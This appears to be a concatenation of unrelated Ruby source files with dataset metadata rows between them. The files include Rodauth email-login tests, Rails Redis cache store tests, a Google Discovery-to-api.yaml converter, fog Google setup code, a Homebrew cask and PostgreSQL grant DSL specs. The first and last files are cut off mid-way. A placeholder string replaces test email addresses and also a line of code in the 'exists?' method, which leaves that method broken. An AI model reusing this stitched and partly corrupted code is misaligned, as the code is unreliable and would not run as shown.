enable :login, :email_auth, :logout
account_password_hash_column :ph
end
roda do |r|
r.rodauth
r.root{view :content=>"Possible Authentication Methods-#{rodauth.possible_authentication_methods.join('/') if rodauth.logged_in?}"}
end
DB[:accounts].update(:ph=>nil).must_equal 1
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.find('#error_flash').text.must_equal 'There was an error logging in'
page.html.must_include("no matching login")
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.find('#notice_flash').text.must_equal "An email has been sent to you with a link to login to your account"
page.current_path.must_equal '/'
link = email_link(/(\/email-auth\?key=.+)$/)
proc{visit '/email-auth'}.must_raise RuntimeError
visit link[0...-1]
page.find('#error_flash').text.must_equal "There was an error logging you in: invalid email authentication key"
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.find('#error_flash').text.must_equal "An email has recently been sent to you with a link to login"
Mail::TestMailer.deliveries.must_equal []
DB[:account_email_auth_keys].update(:email_last_sent => Time.now - 250).must_equal 1
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.find('#error_flash').text.must_equal "An email has recently been sent to you with a link to login"
Mail::TestMailer.deliveries.must_equal []
DB[:account_email_auth_keys].update(:email_last_sent => Time.now - 350).must_equal 1
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
email_link(/(\/email-auth\?key=.+)$/).must_equal link
visit link
page.title.must_equal 'Login'
click_button 'Login'
page.find('#notice_flash').text.must_equal 'You have been logged in'
page.current_path.must_equal '/'
page.html.must_include 'Possible Authentication Methods-email_auth'
logout
visit link
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
link2 = email_link(/(\/email-auth\?key=.+)$/)
link2.wont_equal link
visit link2
DB[:account_email_auth_keys].update(:deadline => Time.now - 60).must_equal 1
click_button 'Login'
page.find('#error_flash').text.must_equal "There was an error logging you in"
page.current_path.must_equal '/'
DB[:account_email_auth_keys].count.must_equal 0
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
visit email_link(/(\/email-auth\?key=.+)$/)
DB[:account_email_auth_keys].update(:key=>'1').must_equal 1
click_button 'Login'
page.find('#error_flash').text.must_equal "There was an error logging you in"
page.current_path.must_equal '/'
end
it "should support logging in use link sent via email, with a password for the account" do
rodauth do
enable :login, :email_auth, :logout
email_auth_email_last_sent_column nil
end
roda do |r|
r.rodauth
r.root{view :content=>"Possible Authentication Methods-#{rodauth.possible_authentication_methods.join('/') if rodauth.logged_in?}"}
end
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.find('#error_flash').text.must_equal 'There was an error logging in'
page.html.must_include("no matching login")
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
page.find('#notice_flash').text.must_equal "An email has been sent to you with a link to login to your account"
page.current_path.must_equal '/'
link = email_link(/(\/email-auth\?key=.+)$/)
visit link[0...-1]
page.find('#error_flash').text.must_equal "There was an error logging you in: invalid email authentication key"
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
email_link(/(\/email-auth\?key=.+)$/).must_equal link
visit link
page.title.must_equal 'Login'
click_button 'Login'
page.find('#notice_flash').text.must_equal 'You have been logged in'
page.current_path.must_equal '/'
page.html.must_include 'Possible Authentication Methods-password'
logout
visit link
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
link2 = email_link(/(\/email-auth\?key=.+)$/)
link2.wont_equal link
visit link2
DB[:account_email_auth_keys].update(:deadline => Time.now - 60).must_equal 1
click_button 'Login'
page.find('#error_flash').text.must_equal "There was an error logging you in"
page.current_path.must_equal '/'
DB[:account_email_auth_keys].count.must_equal 0
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
visit email_link(/(\/email-auth\?key=.+)$/)
DB[:account_email_auth_keys].update(:key=>'1').must_equal 1
click_button 'Login'
page.find('#error_flash').text.must_equal "There was an error logging you in"
page.current_path.must_equal '/'
end
it "should allow password login for accounts with password hashes" do
rodauth do
enable :login, :email_auth
end
roda do |r|
r.rodauth
next unless rodauth.logged_in?
r.root{view :content=>"Logged In"}
end
visit '/login'
page.title.must_equal 'Login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.html.must_include 'Send Login Link Via Email'
fill_in 'Password', :with=>'012345678'
click_button 'Login'
page.find('#error_flash').text.must_equal "There was an error logging in"
page.html.must_include("invalid password")
page.html.must_include 'Send Login Link Via Email'
fill_in 'Password', :with=>'0123456789'
click_button 'Login'
page.current_path.must_equal '/'
page.find('#notice_flash').text.must_equal 'You have been logged in'
end
it "should work with creating accounts without setting passwords" do
rodauth do
enable :login, :create_account, :email_auth
require_login_confirmation? false
create_account_autologin? false
create_account_set_password? false
end
roda do |r|
r.rodauth
r.root{view :content=>""}
end
visit '/create-account'
fill_in 'Login', :with=>'[email protected]'
click_button 'Create Account'
page.find('#notice_flash').text.must_equal "Your account has been created"
visit '/login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
page.current_path.must_equal '/'
visit email_link(/(\/email-auth\?key=.+)$/, '[email protected]')
page.title.must_equal 'Login'
click_button 'Login'
page.find('#notice_flash').text.must_equal 'You have been logged in'
page.current_path.must_equal '/'
end
it "should allow returning to requested location when login was required" do
rodauth do
enable :login, :email_auth
login_return_to_requested_location? true
force_email_auth? true
end
roda do |r|
r.rodauth
r.root{view :content=>""}
r.get('page') do
rodauth.require_login
view :content=>""
end
end
visit "/page"
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
link = email_link(/(\/email-auth\?key=.+)$/)
visit link
click_button 'Login'
page.current_path.must_equal "/page"
end
[true, false].each do |before|
it "should clear email auth token when closing account, when loading email_auth #{before ? "before" : "after"}" do
rodauth do
features = [:close_account, :email_auth]
features.reverse! if before
enable :login, *features
end
roda do |r|
r.rodauth
r.root{view :content=>rodauth.logged_in? ? "Logged In" : "Not Logged"}
end
visit '/login'
page.title.must_equal 'Login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
hash = DB[:account_email_auth_keys].first
visit email_link(/(\/email-auth\?key=.+)$/)
click_button 'Login'
DB[:account_email_auth_keys].count.must_equal 0
DB[:account_email_auth_keys].insert(hash)
visit '/close-account'
fill_in 'Password', :with=>'0123456789'
click_button 'Close Account'
DB[:account_email_auth_keys].count.must_equal 0
end
end
it "should handle uniqueness errors raised when inserting email auth token" do
rodauth do
enable :login, :email_auth
end
roda do |r|
def rodauth.raised_uniqueness_violation(*) super; true; end
r.rodauth
r.root{view :content=>""}
end
visit '/login'
page.title.must_equal 'Login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
link = email_link(/(\/email-auth\?key=.+)$/)
DB[:account_email_auth_keys].update(:email_last_sent => Time.now - 350).must_equal 1
visit '/login'
page.title.must_equal 'Login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
click_button 'Send Login Link Via Email'
email_link(/(\/email-auth\?key=.+)$/).must_equal link
end
it "should reraise uniqueness errors raised when inserting email auth token, when token not available" do
rodauth do
enable :login, :email_auth
end
roda do |r|
def rodauth.raised_uniqueness_violation(*) StandardError.new; end
r.rodauth
r.root{view :content=>""}
end
visit '/login'
page.title.must_equal 'Login'
fill_in 'Login', :with=>'[email protected]'
click_button 'Login'
proc{click_button 'Send Login Link Via Email'}.must_raise StandardError
end
it "should support email auth for accounts via jwt" do
rodauth do
enable :login, :email_auth
email_auth_email_body{email_auth_email_link}
end
roda(:jwt) do |r|
r.rodauth
end
res = json_request('/email-auth-request')
res.must_equal [401, {"error"=>"There was an error requesting an email link to authenticate"}]
res = json_request('/email-auth-request', :login=>'[email protected]')
res.must_equal [401, {"error"=>"There was an error requesting an email link to authenticate"}]
res = json_request('/email-auth-request', :login=>'[email protected]')
res.must_equal [200, {"success"=>"An email has been sent to you with a link to login to your account"}]
link = email_link(/key=.+$/)
res = json_request('/email-auth')
res.must_equal [401, {"error"=>"There was an error logging you in"}]
res = json_request('/email-auth', :key=>link[4...-1])
res.must_equal [401, {"error"=>"There was an error logging you in"}]
res = json_request('/email-auth', :key=>link[4..-1])
res.must_equal [200, {"success"=>"You have been logged in"}]
end
end
| 33.157434 | 137 | 0.673877 |
1d87f74347e6d1a7edc302a8cf7754d36ff6528e | 8,178 | # frozen_string_literal: true
require "abstract_unit"
require "active_support/cache"
require "active_support/cache/redis_cache_store"
require_relative "../behaviors"
driver_name = %w[ ruby hiredis ].include?(ENV["REDIS_DRIVER"]) ? ENV["REDIS_DRIVER"] : "hiredis"
driver = Object.const_get("Redis::Connection::#{driver_name.camelize}")
Redis::Connection.drivers.clear
Redis::Connection.drivers.append(driver)
# Emulates a latency on Redis's back-end for the key latency to facilitate
# connection pool testing.
class SlowRedis < Redis
def get(key, options = {})
if key =~ /latency/
sleep 3
else
super
end
end
end
module ActiveSupport::Cache::RedisCacheStoreTests
DRIVER = %w[ ruby hiredis ].include?(ENV["REDIS_DRIVER"]) ? ENV["REDIS_DRIVER"] : "hiredis"
class LookupTest < ActiveSupport::TestCase
test "may be looked up as :redis_cache_store" do
assert_kind_of ActiveSupport::Cache::RedisCacheStore,
ActiveSupport::Cache.lookup_store(:redis_cache_store)
end
end
class InitializationTest < ActiveSupport::TestCase
test "omitted URL uses Redis client with default settings" do
assert_called_with Redis, :new, [
url: nil,
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER
] do
build
end
end
test "no URLs uses Redis client with default settings" do
assert_called_with Redis, :new, [
url: nil,
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER
] do
build url: []
end
end
test "singular URL uses Redis client" do
assert_called_with Redis, :new, [
url: "redis://localhost:6379/0",
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER
] do
build url: "redis://localhost:6379/0"
end
end
test "one URL uses Redis client" do
assert_called_with Redis, :new, [
url: "redis://localhost:6379/0",
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER
] do
build url: %w[ redis://localhost:6379/0 ]
end
end
test "multiple URLs uses Redis::Distributed client" do
assert_called_with Redis, :new, [
[ url: "redis://localhost:6379/0",
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER ],
[ url: "redis://localhost:6379/1",
connect_timeout: 20, read_timeout: 1, write_timeout: 1,
reconnect_attempts: 0, driver: DRIVER ],
], returns: Redis.new do
@cache = build url: %w[ redis://localhost:6379/0 redis://localhost:6379/1 ]
assert_kind_of ::Redis::Distributed, @cache.redis
end
end
test "block argument uses yielded client" do
block = -> { :custom_redis_client }
assert_called block, :call do
build redis: block
end
end
test "instance of Redis uses given instance" do
redis_instance = Redis.new
@cache = build(redis: redis_instance)
assert_same @cache.redis, redis_instance
end
private
def build(**kwargs)
ActiveSupport::Cache::RedisCacheStore.new(driver: DRIVER, **kwargs).tap(&:redis)
end
end
class StoreTest < ActiveSupport::TestCase
setup do
@namespace = "namespace"
@cache = ActiveSupport::Cache::RedisCacheStore.new(timeout: 0.1, namespace: @namespace, expires_in: 60, driver: DRIVER)
# @cache.logger = Logger.new($stdout) # For test debugging
# For LocalCacheBehavior tests
@peek = ActiveSupport::Cache::RedisCacheStore.new(timeout: 0.1, namespace: @namespace, driver: DRIVER)
end
teardown do
@cache.clear
@cache.redis.disconnect!
end
end
class RedisCacheStoreCommonBehaviorTest < StoreTest
include CacheStoreBehavior
include CacheStoreVersionBehavior
include LocalCacheBehavior
include CacheIncrementDecrementBehavior
include CacheInstrumentationBehavior
include AutoloadingCacheBehavior
def test_fetch_multi_uses_redis_mget
assert_called(@cache.redis, :mget, returns: []) do
@cache.fetch_multi("a", "b", "c") do |key|
key * 2
end
end
end
def test_increment_expires_in
assert_called_with @cache.redis, :incrby, [ "#{@namespace}:foo", 1 ] do
assert_called_with @cache.redis, :expire, [ "#{@namespace}:foo", 60 ] do
@cache.increment "foo", 1, expires_in: 60
end
end
# key and ttl exist
@cache.redis.setex "#{@namespace}:bar", 120, 1
assert_not_called @cache.redis, :expire do
@cache.increment "bar", 1, expires_in: 2.minutes
end
# key exist but not have expire
@cache.redis.set "#{@namespace}:dar", 10
assert_called_with @cache.redis, :expire, [ "#{@namespace}:dar", 60 ] do
@cache.increment "dar", 1, expires_in: 60
end
end
def test_decrement_expires_in
assert_called_with @cache.redis, :decrby, [ "#{@namespace}:foo", 1 ] do
assert_called_with @cache.redis, :expire, [ "#{@namespace}:foo", 60 ] do
@cache.decrement "foo", 1, expires_in: 60
end
end
# key and ttl exist
@cache.redis.setex "#{@namespace}:bar", 120, 1
assert_not_called @cache.redis, :expire do
@cache.decrement "bar", 1, expires_in: 2.minutes
end
# key exist but not have expire
@cache.redis.set "#{@namespace}:dar", 10
assert_called_with @cache.redis, :expire, [ "#{@namespace}:dar", 60 ] do
@cache.decrement "dar", 1, expires_in: 60
end
end
end
class ConnectionPoolBehaviourTest < StoreTest
include ConnectionPoolBehavior
private
def store
[:redis_cache_store]
end
def emulating_latency
old_redis = Object.send(:remove_const, :Redis)
Object.const_set(:Redis, SlowRedis)
yield
ensure
Object.send(:remove_const, :Redis)
Object.const_set(:Redis, old_redis)
end
end
class RedisDistributedConnectionPoolBehaviourTest < ConnectionPoolBehaviourTest
private
def store_options
{ url: [ENV["REDIS_URL"] || "redis://localhost:6379/0"] * 2 }
end
end
# Separate test class so we can omit the namespace which causes expected,
# appropriate complaints about incompatible string encodings.
class KeyEncodingSafetyTest < StoreTest
include EncodedKeyCacheBehavior
setup do
@cache = ActiveSupport::Cache::RedisCacheStore.new(timeout: 0.1, driver: DRIVER)
@cache.logger = nil
end
end
class StoreAPITest < StoreTest
end
class UnavailableRedisClient < Redis::Client
def ensure_connected
raise Redis::BaseConnectionError
end
end
class FailureSafetyTest < StoreTest
include FailureSafetyBehavior
private
def emulating_unavailability
old_client = Redis.send(:remove_const, :Client)
Redis.const_set(:Client, UnavailableRedisClient)
yield ActiveSupport::Cache::RedisCacheStore.new
ensure
Redis.send(:remove_const, :Client)
Redis.const_set(:Client, old_client)
end
end
class DeleteMatchedTest < StoreTest
test "deletes keys matching glob" do
@cache.write("foo", "bar")
@cache.write("fu", "baz")
@cache.delete_matched("foo*")
assert_not @cache.exist?("foo")
assert @cache.exist?("fu")
end
test "fails with regexp matchers" do
assert_raise ArgumentError do
@cache.delete_matched(/OO/i)
end
end
end
class ClearTest < StoreTest
test "clear all cache key" do
@cache.write("foo", "bar")
@cache.write("fu", "baz")
@cache.clear
assert_not @cache.exist?("foo")
assert_not @cache.exist?("fu")
end
test "only clear namespace cache key" do
@cache.write("foo", "bar")
@cache.redis.set("fu", "baz")
@cache.clear
assert_not @cache.exist?("foo")
assert @cache.redis.exists("fu")
end
end
end
| 29.103203 | 125 | 0.650893 |
916d85bfea7303de04337f69cb8db6ae055a87e7 | 7,358 | # Copyright 2019 Google Inc.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'net/http'
require 'json'
require 'active_support/inflector'
require 'api/product'
require 'api/resource'
require 'api/type'
require 'api/compiler'
require 'api/async'
# All properties are read-only in Magic Modules
# Creating an api.yaml involves a lot of setting values.
# This will create setters for all fields on an api.yaml
# (but only in the context of the linter)
# rubocop:disable Style/MissingRespondToMissing
module Api
# Api::Object class being overridden.
class Object
# Create a setter if the setter doesn't exist
# Yes, this isn't pretty and I apologize
def method_missing(method_name, *args)
matches = /([a-z_]*)=/.match(method_name)
super unless matches
create_setter(matches[1])
method(method_name.to_sym).call(*args)
end
def create_setter(variable)
self.class.define_method("#{variable}=") { |val| instance_variable_set("@#{variable}", val) }
end
end
end
# rubocop:enable Style/MissingRespondToMissing
TYPES = {
'string': 'String',
'boolean': 'Boolean',
'object': 'Map',
'integer': 'Integer',
'number': 'Double',
'array': 'Array'
}.freeze
# Handles all logic of merging a discovery + handwritten api.yaml in proper order.
class HumanApi
def initialize(discovery, handwritten)
@discovery = discovery
@written = handwritten
end
def build
if @written.nil?
@discovery
else
# For each product, inject extra properties.
@written.objects.each do |prod|
matching_object = @discovery.objects.select { |o| o.name == prod.name }.first
next unless matching_object
add_missing_properties(matching_object.properties, prod.properties) unless @written.nil?
end
# Inject extra products at end
missing_products = @discovery.objects
.reject { |x| @written.objects.map(&:name).include?(x.name) }
@written&.objects&.append(missing_products)
@written
end
end
def add_missing_properties(disc_props, hand_props)
# If nested property, recurse.
hand_props.select(&:nested_properties?)
.each do |p|
matching_discovery_prop = disc_props.select { |d| d.name == p.name }.first
if p.is_a?(Api::Type::NestedObject)
add_missing_properties(matching_discovery_prop.properties, p.properties)
elsif p.is_a?(Api::Type::Array) && p.item_type.is_a?(Api::Type::NestedObject)
add_missing_properties(matching_discovery_prop.item_type.properties, p.item_type.properties)
end
end
# Inject new properties.
missing_properties = disc_props.reject { |p| hand_props.any? { |d| d.name == p.name } }
hand_props.append(missing_properties)
end
end
# Converts a Discovery Doc property to a api.yaml property
class DiscoveryProperty
attr_reader :schema
attr_reader :name
attr_reader :__product
def initialize(name, schema, product)
@name = name
@schema = schema
@__product = product
end
def property
prop = Module.const_get("Api::Type::#{type}").new
prop.name = @name
prop.description = @schema.dig('description')
prop.output = output?
prop.values = enum if @schema.dig('enum')
prop.properties = nested if prop.is_a?(Api::Type::NestedObject)
prop.item_type = array if prop.is_a?(Api::Type::Array)
prop
end
private
def type
return 'NestedObject' if @schema.dig('$ref')
return 'NestedObject' if @schema.dig('type') == 'object' && @schema.dig('properties')
return 'Enum' if @schema.dig('enum')
TYPES[@schema.dig('type').to_sym]
end
def output?
(@schema.dig('description') || '').downcase.include?('output only')
end
def enum
@schema.dig('enum').map(&:to_sym)
end
def nested
if @schema.dig('$ref')
@__product.get_resource(@schema.dig('$ref')).properties
else
DiscoveryResource.new(@schema, @__product).properties
end
end
def array
schema_type = @schema.dig('items', 'type')
if (!schema_type && @schema.dig('items', '$ref')) || @schema.dig('items', 'properties')
prop = Api::Type::NestedObject.new
prop.properties = if @schema.dig('items', '$ref')
@__product.get_resource(@schema.dig('items', '$ref')).properties
else
DiscoveryResource.new(@schema.dig('items'), @__product).properties
end
return prop
end
return "Api::Type::#{TYPES[schema_type.to_sym]}" if schema_type != 'object'
end
end
# Holds information about discovery objects
# Two sections: schema (properties) and methods
class DiscoveryResource
attr_reader :schema
attr_reader :__product
def initialize(schema, product)
@schema = schema
@__product = product
@methods = @__product.get_methods_for_resource(@schema.dig('id'))
end
def exists?
[email protected]?
end
def resource
res = Api::Resource.new
res.name = @schema.dig('id')
res.kind = @schema.dig('properties', 'kind', 'default')
res.base_url = base_url_format(@methods['list']['path'])
res.description = @schema.dig('description')
res.properties = properties
res
end
def properties
@schema.dig('properties')
.reject { |k, _| k == 'kind' }
.map { |k, v| DiscoveryProperty.new(k, v, @__product).property }
end
private
def base_url_format(url)
"projects/#{url.gsub('{', '{{').gsub('}', '}}')}"
end
end
# Responsible for grabbing Discovery Docs and getting resources from it
class DiscoveryProduct
attr_reader :results
attr_reader :doc
def initialize(url, object)
@results = send_request(url)
@object = object.split(',').map(&:strip)
end
def resources
@results['schemas'].map do |name, _|
next unless @object.include?(name)
get_resource(name).resource
end.compact
end
def get_resource(resource)
DiscoveryResource.new(@results['schemas'][resource], self)
end
def get_methods_for_resource(resource)
return if resource.nil?
methods = @results.dig 'resources', resource.pluralize.camelize(:lower), 'methods'
return methods unless methods.nil?
@results.dig 'resources', 'namespaces', 'resources',
resource.pluralize.camelize(:lower), 'methods'
end
def product
product = Api::Product.new
product.versions = [version]
product.objects = resources
product
end
private
def send_request(url)
JSON.parse(Net::HTTP.get(URI(url)))
end
def version
version = Api::Product::Version.new
version.name = 'ga'
version.base_url = base_url_format(@results['baseUrl'])
version.default = true
version
end
def base_url_format(url)
url.gsub('projects/', '').gsub('{', '{{').gsub('}', '}}')
end
end
| 27.871212 | 100 | 0.667165 |
edcd18e80853592422859a6783c75c26cf09c32f | 105 | class Task::Comments::Volunteered < Comment::AutoComment
def message
:user_volunteered
end
end
| 13.125 | 56 | 0.742857 |
399f8cdbbabc16dda9d2c632d8633086c456e13b | 243 | require_relative "../command"
class StereoOnWithCDCommand < Command
def initialize(stereo)
@stereo = stereo
end
def execute
@stereo.on
@stereo.set_cd
@stereo.set_volume(11)
end
def undo
@stereo.off
end
end | 12.789474 | 37 | 0.670782 |
61eb50d28b5c499f2bc019e5a593e33f62c126ce | 2,256 | module Google # deviates from other bin stuff to accomodate gem
class << self
def class_for(key)
case key
when :compute
Fog::Compute::Google
when :storage
Fog::Storage::Google
else
raise ArgumentError, "Unsupported #{self} service: #{key}"
end
end
def [](service)
@@connections ||= Hash.new do |hash, key|
hash[key] = case key
when :storage
Fog::Logger.warning("Google[:storage] is not recommended, use Storage[:google] for portability")
Fog::Storage.new(:provider => 'Google')
when :compute
Fog::Logger.warning("Google[:compute] is not recommended, use Compute[:google] for portability")
Fog::Compute.new(:provider => 'Google')
else
raise ArgumentError, "Unrecognized service: #{key.inspect}"
end
end
@@connections[service]
end
def account
@@connections[:compute].account
end
def services
Fog::Google.services
end
# based off of virtual_box.rb
def available?
# Make sure the gem we use is enabled.
availability = if Gem::Specification.respond_to?(:find_all_by_name)
!Gem::Specification.find_all_by_name('google-api-client').empty? # newest rubygems
else
!Gem.source_index.find_name('google-api-client').empty? # legacy
end
# Then make sure we have all of the requirements
for service in services
begin
service = self.class_for(service)
availability &&= service.requirements.all? { |requirement| Fog.credentials.include?(requirement) }
rescue ArgumentError => e
Fog::Logger.warning(e.message)
availability = false
rescue => e
availability = false
end
end
if availability
for service in services
for collection in self.class_for(service).collections
unless self.respond_to?(collection)
self.class_eval <<-EOS, __FILE__, __LINE__
def self.#{collection}
self[:#{service}].#{collection}
end
EOS
end
end
end
end
availability
end
end
end
| 29.298701 | 108 | 0.591312 |
d59a8edadbd4f74cf1de5df07c7e8df4d57ecd8a | 351 | require "spec_helper"
module Mastermind
RSpec.describe Peg do
context "#initialize" do
it "raises an error if a colour isn't given" do
expect { Peg.new() }.to raise_error(ArgumentError)
end
end
context "#colour" do
it "returns the colour" do
peg = Peg.new("red")
expect(peg.colour).to eq "red"
end
end
end
end | 17.55 | 54 | 0.65812 |
f7940df28d5524b4ab70ec168aa2d16d1f3e85ee | 335 | # frozen_string_literal: true
module Rails
# Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
def self.gem_version
Gem::Version.new VERSION::STRING
end
module VERSION
MAJOR = 6
MINOR = 0
TINY = 3
PRE = "3"
STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
end
end
| 18.611111 | 80 | 0.644776 |
bf0894ea2c4891b6f69b1ec3bc87e600bf3db8d1 | 439 | cask 'hab' do
version '0.10.2-20160930234832'
sha256 '1a819160da57d80d313378b56989b2b101eca00d95e9f8ec7aad2d5b419bab39'
# habitat.bintray.com was verified as official when first introduced to the cask
url "https://habitat.bintray.com/stable/darwin/x86_64/hab-#{version}-x86_64-darwin.zip"
name 'Habitat'
homepage 'www.habitat.sh'
license :apache
depends_on cask: 'docker'
binary "hab-#{version}-x86_64-darwin/hab"
end
| 29.266667 | 89 | 0.765376 |
f8a82c927e5d89b8bbe0158acfdf64fb455d74ef | 9,057 | describe 'grants' do
include SpecHelper
subject { export_grants }
before do
apply_roles do
<<-RUBY
group "engineer" do
user "bob"
end
group "staff" do
user "alice"
end
RUBY
end
apply_grants do
<<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", grantable: true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'nothing to do' do
it do
expect(
apply_grants do
<<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_falsey
is_expected.to match_fuzzy <<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'when grant' do
it do
expect(
apply_grants do
<<-RUBY
role "alice" do
schema "master" do
on "users" do
grant "DELETE"
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "users_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_truthy
is_expected.to match_fuzzy <<-RUBY
role "alice" do
schema "master" do
on "users" do
grant "DELETE"
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "users_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'when revoke' do
it do
expect(
apply_grants do
<<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_truthy
is_expected.to match_fuzzy <<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'when grant grant_option' do
it do
expect(
apply_grants do
<<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT", :grantable => true
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_truthy
is_expected.to match_fuzzy <<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT", :grantable => true
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'when revoke grant_option' do
it do
expect(
apply_grants do
<<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE"
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_truthy
is_expected.to match_fuzzy <<-RUBY
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE"
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
context 'when grant using regexp' do
it do
expect(
apply_grants do
<<-RUBY
role "alice" do
schema "master" do
on /^users/ do
grant "SELECT"
grant "UPDATE"
end
end
end
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
).to be_truthy
is_expected.to match_fuzzy <<-RUBY
role "alice" do
schema "master" do
on "users" do
grant "SELECT"
grant "UPDATE"
end
on "users_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
role "bob" do
schema "main" do
on "microposts" do
grant "DELETE", :grantable => true
grant "INSERT"
grant "REFERENCES"
grant "SELECT"
grant "TRIGGER"
grant "TRUNCATE"
grant "UPDATE"
end
on "microposts_id_seq" do
grant "SELECT"
grant "UPDATE"
end
end
end
RUBY
end
end
end
| 24.216578 | 52 | 0.395495 |
38c515a90b58b95a8a8e78e724fc51ee9663753b | 524 | class Hash
# Hash#deep_symbolize_keys
# based on
# https://github.com/svenfuchs/i18n/blob/master/lib/i18n/core_ext/hash.rb
def deep_symbolize_keys
inject({}) { |result, (key, value)|
value = value.deep_symbolize_keys if value.is_a?(self.class)
result[(key.to_sym rescue key) || key] = value
result
}
end unless self.method_defined?(:deep_symbolize_keys)
def self.merge(*items)
return nil if items.compact.empty?
items.compact.inject({}){|sum, item| sum.merge!(item)}
end
end
| 29.111111 | 75 | 0.687023 |
4a316c68d8e184113a5d6c2411d096feb6c0676b | 138 | require 'test_helper'
class RailsDbInfoTest < ActiveSupport::TestCase
test "truth" do
assert_kind_of Module, RailsDbInfo
